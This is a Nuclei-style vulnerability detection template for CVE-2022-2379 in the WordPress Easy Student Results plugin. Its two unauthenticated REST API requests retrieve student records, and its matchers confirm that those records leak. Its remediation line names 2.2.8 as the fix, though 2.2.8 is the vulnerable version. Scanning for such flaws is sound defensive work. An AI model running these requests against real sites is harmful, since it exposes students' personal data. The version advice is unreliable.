68 lines
2.3 KiB
YAML
68 lines
2.3 KiB
YAML
id: CVE-2022-2379
|
|
|
|
info:
|
|
name: WordPress Easy Student Results <=2.2.8 - Improper Authorization
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/0773ba24-212e-41d5-9ae0-1416ea2c9db6
|
|
- https://wordpress.org/plugins/easy-student-results/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2379
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-2379
|
|
cwe-id: CWE-862
|
|
epss-score: 0.01934
|
|
epss-percentile: 0.87332
|
|
cpe: cpe:2.3:a:easy_student_results_project:easy_student_results:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: easy_student_results_project
|
|
product: easy_student_results
|
|
framework: wordpress
|
|
tags: wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,cve,cve2022
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
stop-at-first-match: true
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- '"departments":'
|
|
- 'batches":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- 'meta_data'
|
|
- '"name":"'
|
|
- '"registration_no":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a00463044022076ad33e4523968c5b5a7b209b907a922b0c4c5919fe50155c0a67c4461ff5af50220466ce71eaca4fdebcb3809aa53ff4acd62bc87847b0ceca44f5a93db1c772781:922c64590222798bb761d5b6d8e72950 |